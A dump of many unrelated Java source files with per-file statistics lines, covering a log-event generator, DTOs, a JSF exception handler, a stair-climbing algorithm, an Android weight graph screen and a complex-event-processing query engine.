timeProvider.getTime(); calendar.setTimeInMillis(time); int year = calendar.get(Calendar.YEAR); int month = calendar.get(Calendar.MONTH) + 1; int day = calendar.get(Calendar.DAY_OF_MONTH); int hour = calendar.get(Calendar.HOUR_OF_DAY); int minute = calendar.get(Calendar.MINUTE); int seconds = calendar.get(Calendar.SECOND); int total = year + month + day + hour + minute + seconds; return total; } public int getCountMax() { int max = 2 + 0 + 1 + 9 + 9 + 2 + 9 + 2 + 9 + 5 + 9 + 5 + 9; return max; } // private int getYear() { // long time = timeProvider.getTime(); // calendar.setTimeInMillis(time); // int year = calendar.get(Calendar.YEAR); // return year; // } public int getCountChars() { long time = timeProvider.getTime(); String formatUTC = TimeUtils.formatUTC(time); byte[] bytes = formatUTC.getBytes(); int count = 0; for (byte b : bytes) { int value = b - '0'; count += value; } return count; } public void setTimeProvider(TimeProvider timeProvider) { this.timeProvider = timeProvider; updateTargetRate(); } public TimeProvider getTimeProvider() { return timeProvider; } public void setScaleFactor(double factor) { this.factor = factor; updateTargetRate(); } public double getFactor() { return factor; } public void stop() { if (generatorThread != null) { generatorThread.stop(); generatorThread = null; } if (statsThread != null) { statsThread.stop(); statsThread = null; } if (targetRateThread != null) { targetRateThread.stop(); targetRateThread = null; } } public void generate(long from, long to) { FixedTimeProvider fixedTimeProvider = new FixedTimeProvider(from); setTimeProvider(fixedTimeProvider); while (fixedTimeProvider.getTime() < to) { int countChars = getCountChars(); double increment = 1000d / countChars; // Need to set this to do the duration calculation currentDelayNanos = increment * 1e6; long millis = fixedTimeProvider.getTime(); for (int i = 0; i < countChars; i++) { generate(millis); millis += increment; } fixedTimeProvider.increment(1000); } } public void generate(long time) { int level = Logger.info; double duration = getDuration(); String formatted = format(duration, 1); String client = clients[random.nextInt(clients.length)]; String message = StringUtils.format("Trade successfully processed in {} ms : instrument was EURUSD Spot, user account was '{}' and counterparty account 'FX Desk'", formatted, client); DefaultLogEvent event = LogEventBuilder.create(time, level, message); eventMultiplexer.send(event); count++; } // From : // http://stackoverflow.com/questions/10553710/fast-double-to-string-conversion-with-given-precision private static final int POW10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000 }; public static String format(double val, int precision) { StringBuilder sb = new StringBuilder(); if (val < 0) { sb.append('-'); val = -val; } int exp = POW10[precision]; long lval = (long) (val * exp + 0.5); sb.append(lval / exp).append('.'); long fval = lval % exp; for (int p = precision - 1; p > 0 && fval < POW10[p]; p--) { sb.append('0'); } sb.append(fval); return sb.toString(); } }
31.820669
172
0.566339
acb492d83cf6bde0a93aa98f1a07f27870329669
510
/* * Copyright 2018, EnMasse authors. * License: Apache License 2.0 (see the file LICENSE or http://apache.org/licenses/LICENSE-2.0.html). */ package io.enmasse.systemtest.resources; public class ResourceParameter { private String name; private String value; public ResourceParameter(String name, String value) { this.name = name; this.value = value; } public String getName() { return name; } public String getValue() { return value; } }
21.25
101
0.647059
371394ddc54e95683de9b6aadde242284326a16c
3,455
begin_unit|revision:0.9.5;language:Java;cregit-version:0.0.1 begin_comment comment|/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ end_comment begin_package package|package name|org operator|. name|slf4j operator|. name|impl package|; end_package begin_import import|import name|org operator|. name|slf4j operator|. name|ILoggerFactory import|; end_import begin_import import|import name|org operator|. name|slf4j operator|. name|LoggerFactory import|; end_import begin_import import|import name|org operator|. name|slf4j operator|. name|spi operator|. name|LoggerFactoryBinder import|; end_import begin_comment comment|/** * The binding of {@link LoggerFactory} class with an actual instance of * {@link ILoggerFactory} is performed using information returned by this class. */ end_comment begin_class specifier|public class|class name|StaticLoggerBinder implements|implements name|LoggerFactoryBinder block|{ comment|/** * The unique instance of this class. * */ specifier|private specifier|static specifier|final name|StaticLoggerBinder name|SINGLETON init|= operator|new name|StaticLoggerBinder argument_list|() decl_stmt|; comment|/** * Return the singleton of this class. * * @return the StaticLoggerBinder singleton */ specifier|public specifier|static specifier|final name|StaticLoggerBinder name|getSingleton parameter_list|() block|{ return|return name|SINGLETON return|; block|} comment|/** * Declare the version of the SLF4J API this implementation is compiled * against. The value of this field is usually modified with each release. */ comment|// to avoid constant folding by the compiler, this field must *not* be final specifier|public specifier|static name|String name|REQUESTED_API_VERSION init|= literal|"1.6" decl_stmt|; comment|// !final specifier|private specifier|static specifier|final name|String name|loggerFactoryClassStr init|= name|SimpleLoggerFactory operator|. name|class operator|. name|getName argument_list|() decl_stmt|; comment|/** * The ILoggerFactory instance returned by the {@link #getLoggerFactory} * method should always be the same object */ specifier|private specifier|final name|ILoggerFactory name|loggerFactory decl_stmt|; specifier|private name|StaticLoggerBinder parameter_list|() block|{ name|loggerFactory operator|= operator|new name|SimpleLoggerFactory argument_list|() expr_stmt|; block|} specifier|public name|ILoggerFactory name|getLoggerFactory parameter_list|() block|{ return|return name|loggerFactory return|; block|} specifier|public name|String name|getLoggerFactoryClassStr parameter_list|() block|{ return|return name|loggerFactoryClassStr return|; block|} block|} end_class end_unit
23.827586
810
0.787844
9258fa5b0f05b4c0502e59e8b5e19ab937b6a4f2
925
package app.ccb.domain.dtos.card; import javax.xml.bind.annotation.*; @XmlRootElement(name = "card") @XmlAccessorType(XmlAccessType.FIELD) public class CardImportDto { @XmlAttribute(name = "account-number") private String accountNumber; @XmlElement(name = "card-number") private String cardNumber; @XmlAttribute(name = "status") private String status; public CardImportDto() { } public String getAccountNumber() { return this.accountNumber; } public void setAccountNumber(String accountNumber) { this.accountNumber = accountNumber; } public String getCardNumber() { return this.cardNumber; } public void setCardNumber(String cardNumber) { this.cardNumber = cardNumber; } public String getStatus() { return this.status; } public void setStatus(String status) { this.status = status; } }
21.022727
56
0.663784
fe3979d2f163b4c2987d66a156f5c67c18c5c107
4,042
package br.com.engebras.exceptions; import java.io.PrintWriter; import java.io.StringWriter; import java.util.Iterator; import java.util.Map; import javax.faces.FacesException; import javax.faces.application.FacesMessage; import javax.faces.application.NavigationHandler; import javax.faces.context.ExceptionHandler; import javax.faces.context.ExceptionHandlerWrapper; import javax.faces.context.FacesContext; import javax.faces.event.ExceptionQueuedEvent; import javax.faces.event.ExceptionQueuedEventContext; /** * @author Adalberto * dt. criação: 23/03/2016 */ //Inicialmente devemos implementar a classe CustomExceptionHandler que extende a classe ExceptionHandlerWrapper public class CustomExceptionHandler extends ExceptionHandlerWrapper { private ExceptionHandler wrapped; //Obtém uma instância do FacesContext final FacesContext facesContext = FacesContext.getCurrentInstance(); //Obtém um mapa do FacesContext final Map requestMap = facesContext.getExternalContext().getRequestMap(); //Obtém o estado atual da navegação entre páginas do JSF final NavigationHandler navigationHandler = facesContext.getApplication().getNavigationHandler(); //Declara o construtor que recebe uma exception do tipo ExceptionHandler como parâmetro CustomExceptionHandler(ExceptionHandler exception) { this.wrapped = exception; } //Sobrescreve o método ExceptionHandler que retorna a "pilha" de excessões @Override public ExceptionHandler getWrapped() { return wrapped; } //Sobrescreve o método handle que é responsável por manipular as exceções do JSF @Override public void handle() throws FacesException { final Iterator iterator = getUnhandledExceptionQueuedEvents().iterator(); while (iterator.hasNext()) { ExceptionQueuedEvent event = (ExceptionQueuedEvent) iterator.next(); ExceptionQueuedEventContext context = (ExceptionQueuedEventContext) event.getSource(); // Recupera a exceção do contexto Throwable exception = context.getException(); // Aqui tentamos tratar a exeção try { // // Aqui você poderia por exemploinstanciar as classes StringWriter e PrintWriter StringWriter stringWriter = new StringWriter(); PrintWriter printWriter = new PrintWriter(stringWriter); exception.printStackTrace(printWriter); // Por fim você pode converter a pilha de exceções em uma String String message = stringWriter.toString(); // Aqui você poderia enviar um email com a StackTrace // em anexo para a equipe de desenvolvimento // e depois imprimir a stacktrace no log exception.printStackTrace(); // Coloca uma mensagem de exceção no mapa da request requestMap.put("exceptionMessage", exception.getMessage()); // Avisa o usuário do erro FacesContext.getCurrentInstance().addMessage(null, new FacesMessage (FacesMessage.SEVERITY_ERROR, "O sistema se recuperou de um erro inesperado.", "")); // Tranquiliza o usuário para que ele continue usando o sistema FacesContext.getCurrentInstance().addMessage(null, new FacesMessage (FacesMessage.SEVERITY_INFO, "Você pode continuar usando o sistema normalmente!", "")); // Seta a navegação para uma página padrão. navigationHandler.handleNavigation(facesContext, null, "/Inicio.faces"); // Renderiza a pagina de erro e exibe as mensagens facesContext.renderResponse(); } finally { // Remove a exeção da fila iterator.remove(); } } // Manipula o erro getWrapped().handle(); } }
40.828283
112
0.662296
ecff8f70dfcc174fcec22dd9026bc15f97406551
1,434
package algo.lc; import org.junit.Test; /** * @Author: sunhaijian * @Date: 2020/6/13 * @Description: You are climbing a stair case. It takes n steps to reach to the top. Each time you can either climb 1 or 2 steps. In how many distinct ways can you climb to the top? Note: Given n will be a positive integer. Example 1: Input: 2 Output: 2 Explanation: There are two ways to climb to the top. 1. 1 step + 1 step 2. 2 steps Example 2: Input: 3 Output: 3 Explanation: There are three ways to climb to the top. 1. 1 step + 1 step + 1 step 2. 1 step + 2 steps 3. 2 steps + 1 step **/ public class Climbing_Staris_70 { @Test public void test(){ climbStairs(3); } static int count =0; public int climbStairs(int n) { count =0; backTrack(n); return count; } /** *遍历方法超时 * @param n * @return */ public int backTrack(int n) { if(n==0){ count++; return 0; } if(n==1){ backTrack(n-1); }else{ backTrack(n-1); backTrack(n-2); } return 0; } /** * 初级dp * @param n * @return */ public int climbStairs1(int n) { int prev1=1; int prev2=1; for(int i=2;i<=n;i++){ int cur=prev1+prev2; prev2=prev1; prev1=cur; } return prev1; } }
16.482759
96
0.526499
79bb2fb848f95c3e7482d7ae8687a4b809cc634e
546
/* * IntPTI: integer error fixing by proper-type inference * Copyright (c) 2017. * * Open-source component: * * CPAchecker * Copyright (C) 2007-2014 Dirk Beyer * * Guava: Google Core Libraries for Java * Copyright (C) 2010-2006 Google * * */ package org.sosy_lab.cpachecker.cpa.shape.constraint; import org.sosy_lab.cpachecker.cpa.shape.visitors.constraint.CRVisitor; /** * All constraint representation should implement this interface. */ public interface ConstraintRepresentation { <T> T accept(CRVisitor<T> pVisitor); }
20.222222
71
0.728938
50e9649ae3009c852d6b19383691e9fbf7e7b441
473
package org.odlabs.wiquery.ui.position; /** * Enumeration of position values * * @author Julien Roche * @since 1.1 * */ public enum PositionRelation { BOTTOM, CENTER, LEFT, RIGHT, TOP; /** * Method searching the Position value * * @param value * @return */ public static PositionRelation getPosition(String value) { return valueOf(value.toUpperCase()); } @Override public String toString() { return super.toString().toLowerCase(); } }
13.911765
57
0.672304
d1dee8170fdc0c58ceb4dd21869d6176bbe5b139
235
package ham.dayOne; /** * Eine sterbliche Lebensform ist eine Lebensform (erweitert also <code>LifeForm</code>), die sterben kann. */ public interface MortalLifeForm extends Lifeform { /** * stirb */ void die(); }
19.583333
107
0.66383
01d93bf5ba4637bce116c4bf646fdac7a8bd389f
2,011
/******************************************************************************* * See the NOTICE file distributed with this work for additional information * regarding copyright ownership. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ package hr.fer.zemris.vhdllab.applets.editor.newtb.view.patternPanels; import hr.fer.zemris.vhdllab.applets.editor.newtb.exceptions.UniformPatternException; import hr.fer.zemris.vhdllab.applets.editor.newtb.exceptions.UniformSignalChangeException; import hr.fer.zemris.vhdllab.applets.editor.newtb.model.signals.SignalChange; import hr.fer.zemris.vhdllab.applets.editor.newtb.view.PatternDialog; public class RunnerDialog { /** * @param args */ public static void main(String[] args) { //JOptionPane.showMessageDialog(null, EvaluationMethod.ParseInt); //JOptionPane.showMessageDialog(null, PatternDialog.getResultVector(4, 400).toString(), "OK!", JOptionPane.INFORMATION_MESSAGE); //JOptionPane.showMessageDialog(null, PatternDialog.getResultScalar(200).toString(), "OK!", JOptionPane.INFORMATION_MESSAGE); try { for(SignalChange sc : PatternDialog.getResultVector(4, 100).getChanges(10000)) { System.out.println(sc.toString()); } } catch (UniformSignalChangeException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (UniformPatternException e) { // TODO Auto-generated catch block e.printStackTrace(); } } }
42.787234
130
0.702636
863f542cba360949616d0f4ceb028ecad384755c
1,121
package brnln.utl.sttMchn; import java.lang.reflect.Method; import java.util.Arrays; import java.util.List; import java.util.logging.Level; import java.util.logging.Logger; public class MyTestUtils { public static Method getMethod(Class clz, String reqMthdName, Class... reqParams) { for (Method mthd : clz.getMethods()) { if (reqMthdName.equals(mthd.getName())) { List mthdTypeL = Arrays.asList(mthd.getParameterTypes()); List reqTypeL = Arrays.asList(reqParams); if (mthdTypeL.containsAll(reqTypeL)) { return mthd; } } } return null; } public static void my_sleep(long time) { try { Thread.sleep(time); } catch (InterruptedException ex) { Logger.getLogger(MyTestUtils.class.getName()).log(Level.SEVERE, null, ex); } } public static void main(String[] args) { System.out.println(String.format("MyState:mthd01:%s", MyTestUtils.getMethod(MyState.class, "mthd01"))); } }
31.138889
112
0.586976
a36ea478e94a373f465b441f302f8eceeed1e7b5
417
package com.hughes.service; import com.hughes.protobuf.message.SendRequest; import com.hughes.protobuf.message.SendResponse; import com.hughes.service.impl.MessageSendServiceImpl; /** * @author HughesLou * Created on 2022-03-09 */ public interface MessageSendService { SendResponse send(SendRequest request); static MessageSendService getClient() { return new MessageSendServiceImpl(); } }
21.947368
54
0.760192
c54576fedf99135cc1bc1a2e72e0f400e2034399
3,159
import java.util.*; public class minDisNodesTree { static ArrayList<Integer>[] neigh; public static void main(String[] args) { Node root = new Node(1); root.left = new Node(2); root.right = new Node(3); root.left.left = new Node(4); root.left.right = new Node(5); root.right.left = new Node(6); root.right.right = new Node(7); root.right.left.right = new Node(8); System.out.println("Dist(4, 5) = " + findDist(root, 4, 5)); System.out.println("Dist(4, 6) = " + findDist(root, 4, 6)); System.out.println("Dist(3, 4) = " + findDist(root, 3, 4)); System.out.println("Dist(2, 4) = " + findDist(root, 2, 4)); System.out.println("Dist(8, 5) = " + findDist(root, 8, 5)); } static class Node { int data; Node left, right; Node(int item) { data = item; left = right = null; } } static int findDist_v0(Node root, int a, int b) { if (root == null) return -1; neigh = new ArrayList[(int) 1e5 + 1]; for(int i = 0; i< 1e5+1;neigh[i]=new ArrayList<>(),i++); dfs(root, null); return bfs(a, b); } static void dfs(Node at, Node p) { if (at == null) return; if (p != null) { neigh[at.data].add(p.data); neigh[p.data].add(at.data); } dfs(at.left, at); dfs(at.right, at); } static int bfs(int a, int b) { Queue<Integer> q = new LinkedList<>(); ArrayList<Integer> vis = new ArrayList<>(); q.add(a); vis.add(a); for (int d = 0; d < 1e4 + 1 && !q.isEmpty(); d++) { int n = q.size(); for (int i = 0; i < n; i++) { int at = q.remove(); if (at == b) return d; for (int to : neigh[at]) if (!vis.contains(to)) { vis.add(to); q.add(to); } } } return -1; } // Second approach: using lowest common ancestor (lca) static int findDist(Node root, int a, int b) { Node lca = lca(root, a, b); int da = dist(lca, a); int db = dist(lca, b); if(da < 0 || db < 0) return -1; return da+db; } static Node lca(Node root, int a, int b) { if(root == null) return null; if(root.data == a) return root; if(root.data == b) return root; Node left = lca(root.left, a, b); Node right = lca(root.right, a, b); if(left != null && right != null) return root; return left != null ? left : right; } static int dist(Node root, int val) { if(root == null) return Integer.MIN_VALUE; if(root.data == val) return 0; int dl = 1+dist(root.left, val); if(dl >= 0) return dl; int dr = 1+dist(root.right, val); if(dr >= 0) return dr; return Integer.MIN_VALUE; } }
25.475806
64
0.457423
529c1ab035c5fb9d1af05097faa555959a00f77c
268
package com.sparta.mjn.manager; import com.sparta.mjn.search.BinarySearchTree; /** * Hello world! * */ public class Start { public static void main( String[] args ) { BinarySearchTree binarySearchTree = new BinarySearchTree(30); } }
14.888889
69
0.652985
2d8750df70eed58037d4d436a6be4bd6fa4e292c
252
package com.yupaits.web.prop.model; import lombok.Data; /** * @author yupaits * @date 2018/10/17 */ @Data public class GroupApiInfo { private String name = "default"; private String title = "接口"; private String description = "接口文档"; }
16.8
40
0.670635
49c5628c07c5fda0b0d7a9675cabdd777de834b0
302
package MoonHalo.Uranium.Others; import java.lang.annotation.Retention; import java.lang.annotation.RetentionPolicy; @Retention(RetentionPolicy.RUNTIME) public @interface ModuleInfo { String ModName() default " "; ModuleType type() default ModuleType.Hidden; String info() default " "; }
25.166667
48
0.761589
57485f4b4ec11dbf1130424cc99def203237160f
1,406
/* * Copyright (c) 2014. Knowledge Media Institute - The Open University * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package uk.ac.open.kmi.msm4j; import java.net.URI; /** * Created by Luca Panziera on 04/09/2014. * <p/> * Implementation of a grounding as a literal */ public class LiteralGrounding extends Grounding { private String value; private URI dataType; public LiteralGrounding(String value, URI dataType, URI groundingType) { super(groundingType); this.value = value; this.dataType = dataType; } public LiteralGrounding(String value, URI groundingType) { super(groundingType); this.value = value; } public LiteralGrounding(String value) { this.value = value; } public String getValue() { return value; } public URI getDataType() { return dataType; } }
26.037037
76
0.683499
2db2ab5b52e4c27b855b0d8e39b2799bd2ae97b3
359
package com.github.athingx.athing.aliyun.thing.tsl.specs; import com.github.athingx.athing.aliyun.thing.tsl.schema.TslDataType; import java.util.LinkedHashMap; public class EnumSpecs extends LinkedHashMap<Integer, String> implements TslSpecs { @Override public TslDataType.Type getType() { return TslDataType.Type.ENUM; } }
27.615385
84
0.740947
acf42469c8a4cf1c9103d9625094466bbbd5e835
665
package com.commercetools.payment.handler; import org.springframework.beans.propertyeditors.StringTrimmerEditor; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.InitBinder; import javax.annotation.Nonnull; public class BaseCommercetoolsController { protected final StringTrimmerEditor stringTrimmerEditor; public BaseCommercetoolsController(@Nonnull StringTrimmerEditor stringTrimmerEditor) { this.stringTrimmerEditor = stringTrimmerEditor; } @InitBinder public void initBinder(WebDataBinder binder) { binder.registerCustomEditor(String.class, stringTrimmerEditor); } }
31.666667
90
0.809023
f8058d47b08bfeab7c026339645853d19c79b4e1
6,618
package edu.telecomstet.cep.engine.optimised; import java.util.ArrayList; import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.ArrayBlockingQueue; import java.util.concurrent.BlockingQueue; import java.util.concurrent.CountDownLatch; import java.util.concurrent.TimeUnit; import org.apache.commons.lang3.SystemUtils; import com.google.common.base.Stopwatch; import com.google.common.collect.HashMultimap; import com.google.common.collect.SetMultimap; import com.gs.collections.api.list.MutableList; import com.gs.collections.impl.list.mutable.FastList; import com.gs.collections.impl.multimap.list.FastListMultimap; import com.jcwhatever.nucleus.collections.MultiBiMap; import edu.telecom.stet.cep.datastructure.KBindex; import edu.telecom.stet.cep.datastructure.MultiBidirectionalIndex; import edu.telecom.stet.cep.datastructure.RunStateMap; import edu.telecom.stet.cep.datastructure.SP; import edu.telecom.stet.cep.events.GraphEvent; import edu.telecomstet.cep.UI.ResultWriter; import edu.telecomstet.cep.dictionary.optimised.DictionaryOpImpl; import edu.telecomstet.cep.nfahelpers2.NFA; import edu.telecomstet.cep.rulesmodel.NFAData; import edu.telecomstet.cep.rulesmodel.Rule; import edu.telecomstet.graph.processing.ConstrcutCaluse; import fr.ujm.curien.cep.inter.face.manager.StreamManager; import net.openhft.koloboke.collect.map.hash.HashObjObjMaps; public abstract class AbstractSpaseqQueryProcessor implements Runnable { protected List<NFAData> _nfaDataList; int test = 0; // TODO:delte private final CountDownLatch latch; private final List<Rule> constClause; // private int dummy = 0; private final BlockingQueue<GraphEvent> queue; protected long partitionKey; // private long currentTime = 0; protected boolean diffEventorNot; int runCounter; protected BlockingQueue<String> resultqueue; protected final DictionaryOpImpl _dictImpl; protected final ResultDecoder results; protected HashMap<Long, ArrayList<RunOptimised>> activeRunsByPartition; protected final NFA nfa; /** * Active Runs partition by the stream ID */ protected final MutableList<RunOptimised> streamPartitionedRuns; //protected final FastListMultimap<Long, RunOptimised> activeRunsPart; protected final SetMultimap<Long, RunOptimised> activeRunsPart; protected final SetMultimap<Long, RunOptimised> tobeRemoved; protected final SetMultimap<Long, RunOptimised> tobeAdded; List<RunOptimised> newRunsTobeAdded = new ArrayList<>(); /** * The runs which can be removed from the active runs. */ private Thread writingThread; protected ConstrcutCaluse constFunc; protected final Map<RunStateMap, MultiBidirectionalIndex> _statefullcache; protected final Map<KBindex, MultiBiMap<Long, SP>> _kbstatefullcache; /** * The matches */ private Set<String> resultSet; public AbstractSpaseqQueryProcessor(NFA nf, List<NFAData> nfalist, DictionaryOpImpl dic, List<Rule> constrc, BlockingQueue<GraphEvent> inputqueue, CountDownLatch l) { this.latch = l; resultSet = new HashSet<>(); this.queue = inputqueue; this.constClause = constrc; this.nfa = nf; this._nfaDataList = nfalist; this._dictImpl = dic; _kbstatefullcache = new HashMap<>();//HashObjObjMaps.newMutableMap(); _statefullcache = new HashMap<>();//HashObjObjMaps.newMutableMap(); activeRunsPart = HashMultimap.create();//new FastListMultimap<Long, RunOptimised>(); tobeRemoved = HashMultimap.create(); tobeAdded = HashMultimap.create(); streamPartitionedRuns = FastList.newList(); this.resultqueue = new ArrayBlockingQueue<>(10000); this.runCounter = 0; if (this.constClause != null) { constFunc = new ConstrcutCaluse(constClause, resultqueue); } /** * Partition runs by the stream ID */ /** * Partition Runs by the defined partition */ results = new ResultDecoder(_statefullcache, _kbstatefullcache, constFunc, nfa, _dictImpl, resultqueue, resultSet); this.activeRunsByPartition = new HashMap<Long, ArrayList<RunOptimised>>(); initialiseWriter(); } public void initialiseWriter() { final ResultWriter resultWriter = new ResultWriter(1, resultqueue); this.writingThread = new Thread(resultWriter); writingThread.setName("QPWriter" + 1); writingThread.start(); Profiling.resetProfiling(); } @Override public void run() { if (this._nfaDataList.get(0).getPatterndata().getPattSelection().equals(",")) { ConfigFlags.selectionStrategy = 3; } else { ConfigFlags.selectionStrategy = 1; } ConfigFlags.sequenceLength = this.nfa.getSize(); ConfigFlags.hasNegation = this.nfa.isHasNegation(); configPartitionBy(); if (!ConfigFlags.partitionByPred.isEmpty()) { GraphEvent event = null; ; for (;;) { try { event = this.queue.take(); if (event.getId() != -1) { this.partitionBYEngine(event); } else { break; } } catch (InterruptedException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } } else { int i=0; Stopwatch stopwatch = Stopwatch.createStarted(); GraphEvent event = null; ; for (;;) { try { event = this.queue.take(); Profiling.numberOfEvents++; if (event.getId() != -1) { streamPartitionedEngine(event); } else { break; } } catch (InterruptedException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } } stopwatch.stop(); Profiling.totalRunTime= stopwatch.elapsed(TimeUnit.NANOSECONDS); } this.finish(); } // protected abstract void runGraphEventProcessing(GraphEvent e) throws // CloneNotSupportedException, Exception; protected abstract void partitionBYEngine(GraphEvent e) throws CloneNotSupportedException, Exception; protected abstract void configPartitionBy(); protected abstract void streamPartitionedEngine(GraphEvent e) throws CloneNotSupportedException, Exception; protected void finish() { // Notify finish time Profiling.timeToParseRDF = StreamManager.PARSINGTIME; Profiling.printProfiling(); // Send poison pill to QPWriter this.resultqueue.add("DONE"); // Ensure that QPWriter finishes try { this.writingThread.join(); } catch (final InterruptedException e) { e.printStackTrace(); } // logger.info("Finsed Writing Results..."); // Decrease latch count latch.countDown(); System.out.println("The Results are stored at ./result/queryResults.txt"); System.out.println("Query Processing Completed"); } }
25.453846
109
0.741463
bb9fc67c0f98c091ba15c534f4f2c45651b0bdea
5,959
package mirrormirror.swen302.mirrormirrorandroid.activities; import android.content.Intent; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.Button; import android.widget.TextView; import android.widget.Toast; import com.jjoe64.graphview.GraphView; import com.jjoe64.graphview.GridLabelRenderer; import com.jjoe64.graphview.Viewport; import com.jjoe64.graphview.helper.DateAsXAxisLabelFormatter; import com.jjoe64.graphview.series.BarGraphSeries; import com.jjoe64.graphview.series.DataPoint; import com.jjoe64.graphview.series.DataPointInterface; import com.jjoe64.graphview.series.LineGraphSeries; import com.jjoe64.graphview.series.OnDataPointTapListener; import com.jjoe64.graphview.series.Series; import org.joda.time.Days; import java.lang.reflect.Array; import java.text.DateFormat; import java.text.DecimalFormat; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Arrays; import java.util.Calendar; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.Random; import java.util.concurrent.TimeUnit; import mirrormirror.swen302.mirrormirrorandroid.R; import mirrormirror.swen302.mirrormirrorandroid.utilities.ServerController; import mirrormirror.swen302.mirrormirrorandroid.utilities.Weight; /** * Created by glewsimo on 7/09/17. */ public class WeightGraphActivity extends AppCompatActivity { private int numDays = 0; private SimpleDateFormat format = new SimpleDateFormat("dd-MM-yyyy"); private double maxWeight = Double.MIN_VALUE; private double minWeight = Double.MAX_VALUE; private Button graphButton; private DataPoint[] datapoints; private List<Weight> weights; private GRAPHTYPE graphtype = GRAPHTYPE.BAR; enum GRAPHTYPE{ BAR, LINE } @Override protected void onCreate(Bundle savedInstanceState){ super.onCreate(savedInstanceState); setContentView(R.layout.weight_graph); Intent intent = getIntent(); numDays = intent.getIntExtra("numDays", 0); TextView title = (TextView)findViewById(R.id.weight_graph_title); graphButton = (Button) findViewById(R.id.graph_switch_button); graphButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if(graphtype == GRAPHTYPE.BAR){ graphButton.setText("Bar Chart"); graphtype = GRAPHTYPE.LINE; } else if (graphtype == GRAPHTYPE.LINE){ graphButton.setText("Line Chart"); graphtype = GRAPHTYPE.BAR; } makeGraph(); } }); title.setText(intent.getStringExtra("title")); ServerController.setSocketWeightListener(this); ServerController.sendWeightsRequest(this, numDays); } public void parseWeights(List<Weight> weights){ this.weights = weights; this.datapoints = generateData(weights); makeGraph(); } public void makeGraph(){ GraphView graph = (GraphView) findViewById(R.id.graph); graph.getViewport().setXAxisBoundsManual(true); graph.getViewport().setMinX(datapoints[0].getX()); graph.getViewport().setMaxX(7); graph.getViewport().setYAxisBoundsManual(true); graph.getViewport().setMinY(0); graph.getViewport().setMaxY(maxWeight + (maxWeight/5)); graph.getViewport().setScrollable(true); graph.getViewport().setScalableY(false); graph.getViewport().setScrollableY(false); graph.getViewport().setScalable(false); Series series = null; if(graphtype == GRAPHTYPE.LINE){ LineGraphSeries<DataPoint> lineSeries = new LineGraphSeries<DataPoint>(datapoints); lineSeries.setColor(getResources().getColor(R.color.colorAccent)); lineSeries.setThickness(7); lineSeries.setDrawDataPoints(true); lineSeries.setDataPointsRadius(13); series = lineSeries; } else{ BarGraphSeries <DataPoint> barSeries = new BarGraphSeries<>(datapoints); barSeries.setSpacing(10); barSeries.setColor(getResources().getColor(R.color.colorAccent)); series = barSeries; } series.setOnDataPointTapListener(new OnDataPointTapListener() { @Override public void onTap(Series series, DataPointInterface dataPoint) { Calendar cal = Calendar.getInstance(); cal.setTime(new Date()); cal.add(Calendar.DATE, (int)(-(dataPoint.getX()))); Toast.makeText(WeightGraphActivity.this, "On " + format.format(cal.getTime()) + ", you weighed: " + dataPoint.getY() + "kgs", Toast.LENGTH_SHORT).show(); } }); graph.removeAllSeries(); graph.addSeries(series); } public DataPoint[] generateData(List<Weight> weights) { DecimalFormat df = new DecimalFormat("#.#"); DataPoint[] dataPoints = new DataPoint[weights.size()]; for(int i = 0; i < weights.size(); i ++) { double weight = weights.get(i).getWeight(); long timeDiff = new Date().getTime() - weights.get(i).getDate().getTime(); double dayDiff = TimeUnit.DAYS.convert(timeDiff, TimeUnit.MILLISECONDS); if(weight > maxWeight) maxWeight = weight; if(weight < minWeight) minWeight = weight; System.out.println(dayDiff); if(dayDiff < 0){ int z = 1; // System.out.println("Simon"); } DataPoint d = new DataPoint(dayDiff, Double.parseDouble(df.format(weight))); dataPoints[i] = d; } return dataPoints; } }
34.051429
115
0.656486
b3e7fce867c1553f7d97cfc04e9053da5b06aa66
339
package engineer.echo.oneactivity.core; import engineer.echo.oneactivity.animator.PageAnimator; public interface PagerController { void allowSwipeBack(boolean allowSwipeBack); boolean allowSwipeBack(); void setPageAnimator(PageAnimator pageAnimator); PageAnimator getPageAnimator(); boolean hasPageAnimator(); }
19.941176
55
0.781711
4c684c6417fd98cbc85e7e4e2b95404a24b1d2db
2,861
